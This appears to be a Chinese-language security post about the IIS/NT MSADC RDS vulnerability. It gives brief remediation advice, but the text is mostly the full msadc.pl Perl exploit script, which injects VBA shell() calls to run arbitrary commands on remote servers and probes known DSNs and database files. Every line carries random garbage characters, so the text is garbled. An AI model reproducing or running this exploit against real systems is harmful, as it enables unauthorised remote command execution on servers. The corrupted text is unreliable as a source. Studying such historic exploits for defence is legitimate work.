IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
}z-6 ,i)'k )&93YrHgC 涉及程序:
v>0} v)<v Microsoft NT server
wx_j)Wij6 (9v%66y 描述:
a( SJ5t?-2 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
NF'<8{~ _Oy;:XN 详细:
u0nIr9 如果你没有时间读详细内容的话,就删除:
^CP>|JWD^ c:\Program Files\Common Files\System\Msadc\msadcs.dll
$Ao'mT 有关的安全问题就没有了。
W;|%)D)y @nIoIz
D~ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
8+8L'Yv; !EGpI@ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
DC2[g9S>8@ 关于利用ODBC远程漏洞的描述,请参看:
>FqU=Q B{>x http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4++p K;I u]&+TR 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
)Kq@ m1>@ http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,91 n OtoG,~? 这里不再论述。
5 TLE%#G@+ iKG," 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
i'[! 'HY XzPUll;ZU /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
{2U3 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Gyb|{G_ b fI= = >~ L0M #将下面这段保存为txt文件,然后: "perl -x 文件名"
;Swy5z0=ro 5.
+_'bF| #!perl
4mnVXKt%. #
^;wz+u4^l # MSADC/RDS 'usage' (aka exploit) script
+g_m|LF #
p;~oIy\, # by rain.forest.puppy
t\f[->f #
D7g
B% # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
w|61dB # beta test and find errors!
m+xub*/ r`Dm;@JU use Socket; use Getopt::Std;
z-h?Q4; getopts("e:vd:h:XR", \%args);
$f+cd8j?o HJt
'@t=Ak print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
6xx(o }H|'W[Q. if (!defined $args{h} && !defined $args{R}) {
=ba1::18 print qq~
}4kQu#0o") Usage: msadc.pl -h <host> { -d <delay> -X -v }
<TgVU.* -h <host> = host you want to scan (ip or domain)
g1@rY0O -d <seconds> = delay between calls, default 1 second
-#,4rN# -X = dump Index Server path table, if available
co-1r/
-O -v = verbose
vb3hDy -e = external dictionary file for step 5
8WC_CAP svtqX-Vj" Or a -R will resume a command session
F:8@ ]tA& Q+s2S>U{v ~; exit;}
d=dHY(ms] c[Z#q*Q $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
G|TnvZ KX if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
k}!'@ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
xXSfYW if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
GU]kgwSfi $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
g!^mewtd if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
_}
K3}} 2?:'p[z"] if (!defined $args{R}){ $ret = &has_msadc;
LuVL<W die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
"bz]5c~ tTT
:r),}$ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
e@iz`~[ . "cmd /c ";
1p=bpJC $in=<STDIN>; chomp $in;
3AAciMq} $command="cmd /c " . $in ;
2 a*+mw >X*Y jv:r if (defined $args{R}) {&load; exit;}
NdrR+t^# Y$s4 *)% print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
N_d{E/ &try_btcustmr;
XW~a4If wLNkXC print "\nStep 2: Trying to make our own DSN...";
?} lqu7S &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
\\3 ?ij:v 7MsJ*En print "\nStep 3: Trying known DSNs...";
LIT`~D &known_dsn;
NDJP`FI >ByqM{? print "\nStep 4: Trying known .mdbs...";
[}l#cG6 k &known_mdb;
t*`Sme]"B eKf5orN if (defined $args{e}){
stiYC#b I: print "\nStep 5: Trying dictionary of DSN names...";
~i!I6d~ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
RwhKW?r+ vOv"^X print "Sorry Charley...maybe next time?\n";
#/HZ[Vw exit;
s\p 1EL( a)I>Ns) ##############################################################################
N:~4>p44[ a'r1or4 sub sendraw { # ripped and modded from whisker
}KT$J G? sleep($delay); # it's a DoS on the server! At least on mine...
15OzO.Ud my ($pstr)=@_;
[I/ZzDMX socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
U2CC#,b!( die("Socket problems\n");
5&xbGEP$ if(connect(S,pack "SnA4x8",2,80,$target)){
ZD4aT1|Q7 select(S); $|=1;
]dgi]R|` print $pstr; my @in=<S>;
+ WT?p] select(STDOUT); close(S);
U>@AE return @in;
u"m TS& } else { die("Can't connect...\n"); }}
}aQ*1V cj [Y
j:H ##############################################################################
*Ea)b- AQ,"):ofvT sub make_header { # make the HTTP request
}<&?t; my $msadc=<<EOT
| >'q%xK POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
pCC^Hxa User-Agent: ACTIVEDATA
/IF?|71,m Host: $ip
^m
AxV7k Content-Length: $clen
Mi\-
9- Connection: Keep-Alive
YFW/
Fa\7 j8aH*K-l{ ADCClientVersion:01.06
xzOn[.Fi Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
:#cJZ\YH fIJX5)D --!ADM!ROX!YOUR!WORLD!
+ R~!G Content-Type: application/x-varg
5K-,k^T} Content-Length: $reqlen
*Uy;P>8 Fk9]u^j EOT
f4&;l|R0a ; $msadc=~s/\n/\r\n/g;
|*M07Hc x return $msadc;}
9e.$x%7j & eqqgLz ##############################################################################
*9aI\#} <$d2m6 J sub make_req { # make the RDS request
vP=H 2P my ($switch, $p1, $p2)=@_;
2p4iir my $req=""; my $t1, $t2, $query, $dsn;
-*OL+ <PM.4B@ if ($switch==1){ # this is the btcustmr.mdb query
z, FPhbFn $query="Select * from Customers where City=" . make_shell();
57O|e/2 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
IZ87Px>zL $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
;mC|>wSZ ]2YC7 elsif ($switch==2){ # this is general make table query
c
*<m. $query="create table AZZ (B int, C varchar(10))";
S!b?pl $dsn="$p1";}
o{QV'dgu >[:qJ|i% elsif ($switch==3){ # this is general exploit table query
u%Mo.<PI $query="select * from AZZ where C=" . make_shell();
kDxI7$]E $dsn="$p1";}
^bfU>02Q6p 4wGBB{X elsif ($switch==4){ # attempt to hork file info from index server
Cl3L)
$query="select path from scope()";
d_ x
jW $dsn="Provider=MSIDXS;";}
e/#6qCE 2%9L'- elsif ($switch==5){ # bad query
U"oHPK3"TA $query="select";
$yq76 $dsn="$p1";}
.}T- R? DtJ3`Jd $t1= make_unicode($query);
U#Iwe= $t2= make_unicode($dsn);
.v+W> $req = "\x02\x00\x03\x00";
dBS_N/ $req.= "\x08\x00" . pack ("S1", length($t1));
a .?AniB0 $req.= "\x00\x00" . $t1 ;
BOP7@ D $req.= "\x08\x00" . pack ("S1", length($t2));
RLzqpE<rJ $req.= "\x00\x00" . $t2 ;
Zg0nsNA
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
$!TMS&Wk return $req;}
j5A>aj X*w;6 V ##############################################################################
g3^:)$m .mcohfR sub make_shell { # this makes the shell() statement
=e0MEV#s. return "'|shell(\"$command\")|'";}
C' {B Zsmv{p ##############################################################################
jeJspch+# E7hs+Mh sub make_unicode { # quick little function to convert to unicode
_8-T?j**
my ($in)=@_; my $out;
:ln?PT
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
R3.w")6 return $out;}
]6s/y BUV4L5( ##############################################################################
%4t?X k\9kOZW sub rdo_success { # checks for RDO return success (this is kludge)
QDVSFGwr my (@in) = @_; my $base=content_start(@in);
T 1_B0H2 if($in[$base]=~/multipart\/mixed/){
G l2WbY return 1 if( $in[$base+10]=~/^\x09\x00/ );}
R0F [ return 0;}
,-8Xb+!8I /m,i,NX07 ##############################################################################
^)a:DKL -B!
a
O65^ sub make_dsn { # this makes a DSN for us
;uv$>Fauk my @drives=("c","d","e","f");
r!w*y3 print "\nMaking DSN: ";
%tC[q foreach $drive (@drives) {
g0 ;;+z print "$drive: ";
ld):Am}/o my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
p$= 3$I "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
-AU'1iRcK7 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
nEW.Y33 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
aBQ@n return 0 if $2 eq "404"; # not found/doesn't exist
'tcve2Tt if($2 eq "200") {
~66v.`K! foreach $line (@results) {
A f!`7l- return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
?^MH:o } return 0;}
.Cs'@[Ciy -o~n06p ##############################################################################
J><hrZ "gzn%k[D9m sub verify_exists {
e'c3.sQ|? my ($page)=@_;
'HCRi Z< my @results=sendraw("GET $page HTTP/1.0\n\n");
o?~27 return $results[0];}
8 nqF i qJO6m-
##############################################################################
%e)vl[:} x\yr~$}(J sub try_btcustmr {
;]=@;? 9 my @drives=("c","d","e","f");
o4@d,uIw^ my @dirs=("winnt","winnt35","winnt351","win","windows");
' V*}d -*hPEgcV9 foreach $dir (@dirs) {
`ZO5-E print "$dir -> "; # fun status so you can see progress
.6y*Z+Zg foreach $drive (@drives) {
Pgq(yPC print "$drive: "; # ditto
vpOGyvI $reqlen=length( make_req(1,$drive,$dir) ) - 28;
c&aqN\'4" $reqlenlen=length( "$reqlen" );
g
4|ai*^ $clen= 206 + $reqlenlen + $reqlen;
G`&P|xYg ,,6lQ]wG my @results=sendraw(make_header() . make_req(1,$drive,$dir));
*~cNUyd if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
qW|h"9sr else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
~X %cbFom= HZS.%+2 ##############################################################################
Xc^(e?L4 k>8OxpaWv? sub odbc_error {
"LW\osjen my (@in)=@_; my $base;
KL9JA;" my $base = content_start(@in);
yB=R7E7 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
)8n?.keq $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w40*vBz $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sSD&'K=lq $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
b"`fS`@/MW return $in[$base+4].$in[$base+5].$in[$base+6];}
H@ty'z? print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
M?hPlo"_ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
DT6BFx $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
,?Vxcr +u t%C.1
##############################################################################
45iO2W uur ,I+O;B:0 sub verbose {
kK
5~hpv my ($in)=@_;
]W%rhppC return if !$verbose;
s?nj@:4 print STDOUT "\n$in\n";}
'%:E4oI 1rU\ !GfR ##############################################################################
f,LeJTX= bNtOqhi sub save {
PJe\PGh my ($p1, $p2, $p3, $p4)=@_;
6W7,EIf open(OUT, ">rds.save") || print "Problem saving parameters...\n";
>yqEXx5{ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
#)#'^MZX close OUT;}
(Ia:>ocE0 QfM^J5j.M? ##############################################################################
R`@7f$;wG i=M[$ sub load {
mz;ExV16 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
;ByCtVm2 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
#q9BU: @p=<IN>; close(IN);
|Xd&aQ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
8^^ehaxy $target= inet_aton($ip) || die("inet_aton problems");
P9Eh,j0_ print "Resuming to $ip ...";
h"}F3E $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
KBI1t$ if($p[1]==1) {
t=p"nIE $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
*laFG<; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
wLt0Fq6QG my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
99]s/KD2yb if (rdo_success(@results)){print "Success!\n";}
LUz`P6 else { print "failed\n"; verbose(odbc_error(@results));}}
Pl#u,Y elsif ($p[1]==3){
L;b-=mF if(run_query("$p[3]")){
(5[#?_~ print "Success!\n";} else { print "failed\n"; }}
I/v#!`L elsif ($p[1]==4){
h\Zh^B6J if(run_query($drvst . "$p[3]")){
!y!s/i&P% print "Success!\n"; } else { print "failed\n"; }}
I<xcVY9L exit;}
KK-+vq 6Q+VW_~ ##############################################################################
60f%J1u A,=
R`m sub create_table {
FgPmQ my ($in)=@_;
b+Vlq7Bc $reqlen=length( make_req(2,$in,"") ) - 28;
p!?7; $reqlenlen=length( "$reqlen" );
r.:f.AY{ $clen= 206 + $reqlenlen + $reqlen;
q?L*Luu+ my @results=sendraw(make_header() . make_req(2,$in,""));
,pkzNe`F return 1 if rdo_success(@results);
cmaha%3d my $temp= odbc_error(@results); verbose($temp);
6G-XZko~a return 1 if $temp=~/Table 'AZZ' already exists/;
CaoQPb* return 0;}
&;GoCU Le ]Rp<64I o ##############################################################################
%VXIiu[ dPgA~~ sub known_dsn {
-ucR@P] # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}:0HM8B7! my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
QEx&AT "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
mcQ\"9 ;pY "banner", "banners", "ads", "ADCDemo", "ADCTest");
6jl{^dI (ueH@A"9; foreach $dSn (@dsns) {
6Hd^qouid print ".";
4L,&a+) next if (!is_access("DSN=$dSn"));
b~8&P_ if(create_table("DSN=$dSn")){
Xa&:Hg< print "$dSn successful\n";
xu;^F if(run_query("DSN=$dSn")){
PM {L}tEQ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:X*uE^bH print "Something's borked. Use verbose next time\n";}}} print "\n";}
: R8+jO &N%-.&t' ##############################################################################
2fPMZ7Zd3 *\Hut'7 d sub is_access {
)%!X, my ($in)=@_;
(hv}K*c{ $reqlen=length( make_req(5,$in,"") ) - 28;
W`n_m&Y\ $reqlenlen=length( "$reqlen" );
.=c@ps $clen= 206 + $reqlenlen + $reqlen;
^4saB+qm my @results=sendraw(make_header() . make_req(5,$in,""));
pcm1IwR` my $temp= odbc_error(@results);
tfe'].uT verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Z@Qf0
c return 0;}
O9{A)b!HB lw4#C`bx ##############################################################################
6b!1j,\Vx !A_KCM:Ym sub run_query {
i{J[;rV9 my ($in)=@_;
>>=v`} $reqlen=length( make_req(3,$in,"") ) - 28;
.3
^*_ $reqlenlen=length( "$reqlen" );
q#Ik3 5 $clen= 206 + $reqlenlen + $reqlen;
+.hJ[|F1& my @results=sendraw(make_header() . make_req(3,$in,""));
<)@^TRS return 1 if rdo_success(@results);
_)#~D*3 my $temp= odbc_error(@results); verbose($temp);
fK=vLcH return 0;}
.+^o {b ]d&;QZ#w ##############################################################################
w Kz*)C _'s5FlZq sub known_mdb {
\z2d=E my @drives=("c","d","e","f","g");
u)ZZ/| my @dirs=("winnt","winnt35","winnt351","win","windows");
['0^gN$:e my $dir, $drive, $mdb;
vF@.BM> my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
9x9E+DG#( A?c?(~9O # this is sparse, because I don't know of many
WxF@'kdn*, my @sysmdbs=( "\\catroot\\icatalog.mdb",
T9'5V@ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
;[Hrpl
S "\\system32\\certmdb.mdb",
)#Y:Bj7H@2 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
P~"""3de4 Fd9Z7C my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"QY~V{u5 "\\cfusion\\cfapps\\forums\\forums_.mdb",
Q $>SYvW "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
,k/<Nv; "\\cfusion\\cfapps\\security\\realm_.mdb",
i{>YQ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
wtGb3D"am "\\cfusion\\database\\cfexamples.mdb",
Lismo# "\\cfusion\\database\\cfsnippets.mdb",
0j{KZy "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
a3(f\MMxE "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
P`M1sON~ "\\cfusion\\brighttiger\\database\\cleam.mdb",
Y+~>9-S "\\cfusion\\database\\smpolicy.mdb",
zPb"6%1B "\\cfusion\\database\cypress.mdb",
#kQLHi3## "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
c-a;nAR "\\website\\cgi-win\\dbsample.mdb",
%M05& < "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
0 f"M-x "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
>[g'i+{ ); #these are just
niM(0p foreach $drive (@drives) {
t]pJt foreach $dir (@dirs){
:SpPT foreach $mdb (@sysmdbs) {
5wMEp" YHE print ".";
faI4`.i if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Qp>Q-+e0 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
H0mDs7 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
O,KlZf_B print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
dtq]_HvTJ } else { print "Something's borked. Use verbose next time\n"; }}}}}
yAVt[+0 vy F(k3W foreach $drive (@drives) {
k+cHx799 foreach $mdb (@mdbs) {
cGjkx3l* print ".";
7kidPAhY if(create_table($drv . $drive . $dir . $mdb)){
W-ECmw( print "\n" . $drive . $dir . $mdb . " successful\n";
Bk~M ^AK@~ if(run_query($drv . $drive . $dir . $mdb)){
.'N#qs_ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
2E3x= } else { print "Something's borked. Use verbose next time\n"; }}}}
y]f| U-f:~ }
ZbcpE~<a BRMR>
~k( ##############################################################################
q0
8 [x|{VJ(h sub hork_idx {
&,`P%a&k print "\nAttempting to dump Index Server tables...\n";
Aaix?
|XN print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
n
6|\ $reqlen=length( make_req(4,"","") ) - 28;
zX/9^+p: $reqlenlen=length( "$reqlen" );
3836Di:{ $clen= 206 + $reqlenlen + $reqlen;
Cqk6I gw my @results=sendraw2(make_header() . make_req(4,"",""));
LIHf]+ if (rdo_success(@results)){
%5H>tG`] my $max=@results; my $c; my %d;
L"!BN/i_ for($c=19; $c<$max; $c++){
yh Ymbu $results[$c]=~s/\x00//g;
K?+Rq $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
`{I-E5x $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
.c.#V:XZ#U $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
;rH@>VrR $d{"$1$2"}="";}
pF"IDC foreach $c (keys %d){ print "$c\n"; }
Yt;.Z$i , } else {print "Index server doesn't seem to be installed.\n"; }}
tI(co5 W .{W)E ##############################################################################
sWnU*Q n-_-;TYH sub dsn_dict {
^KMZB open(IN, "<$args{e}") || die("Can't open external dictionary\n");
U9B|u`72 while(<IN>){
%G s!oD $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
%@FTg$ next if (!is_access("DSN=$dSn"));
VIxcyp0X if(create_table("DSN=$dSn")){
x_5H_! \# print "$dSn successful\n";
];go?.*C if(run_query("DSN=$dSn")){
?wx|n_3<: print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1cdM^k print "Something's borked. Use verbose next time\n";}}}
C,D~2G print "\n"; close(IN);}
Z5o6RTi dGzZ_Vf ##############################################################################
Oj0/[(D- `W8dayZt sub sendraw2 { # ripped and modded from whisker
ABp/uJI) sleep($delay); # it's a DoS on the server! At least on mine...
5<ycF_ my ($pstr)=@_;
u|D_"q~+6 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
s0"1W"7vh die("Socket problems\n");
!(Y23w* if(connect(S,pack "SnA4x8",2,80,$target)){
#X"eg print "Connected. Getting data";
[nlW}1)46 open(OUT,">raw.out"); my @in;
QY<2i-A select(S); $|=1; print $pstr;
X^H)2G>e while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Dl%NVi+n close(OUT); select(STDOUT); close(S); return @in;
r#pC0Yj!3 } else { die("Can't connect...\n"); }}
_`zj^*% 6F3#Rxh ##############################################################################
7=8e|$K_ ZWSYh>" sub content_start { # this will take in the server headers
OE/O:F:1j my (@in)=@_; my $c;
HLU'1As65 for ($c=1;$c<500;$c++) {
LdAfY0 if($in[$c] =~/^\x0d\x0a/){
"tbKKh66 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
/%U+kW else { return $c+1; }}}
a ^b_&}y return -1;} # it should never get here actually
!285=cxz wvA@\-.+ ##############################################################################
amIG9:-1' v>71?te sub funky {
rr#&0`] my (@in)=@_; my $error=odbc_error(@in);
Khxl'qj if($error=~/ADO could not find the specified provider/){
ALiXT8q print "\nServer returned an ADO miscofiguration message\nAborting.\n";
\5Jpr'mY5 exit;}
m$:o+IH/ if($error=~/A Handler is required/){
/nRi19a%xU print "\nServer has custom handler filters (they most likely are patched)\n";
eUA6X
,I exit;}
:d-+Z%Y if($error=~/specified Handler has denied Access/){
t3b%f`D print "\nServer has custom handler filters (they most likely are patched)\n";
N$H0o+9-Y exit;}}
,xrXby|R" P-VK=Y1q ##############################################################################
969*mcq' :'!,L0I|t sub has_msadc {
kQ~*iY my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
$aX}i4F my $base=content_start(@results);
IXugnvyV return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Sf)VQ5U!Y return 0;}
2mbZ6'p { hX]vZR&R ########################
(<pc4#B@* =$IjN v(? 40oRO0p 解决方案:
m-UI^M,@< 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
vO"Sy{)Z> 2、移除web 目录: /msadc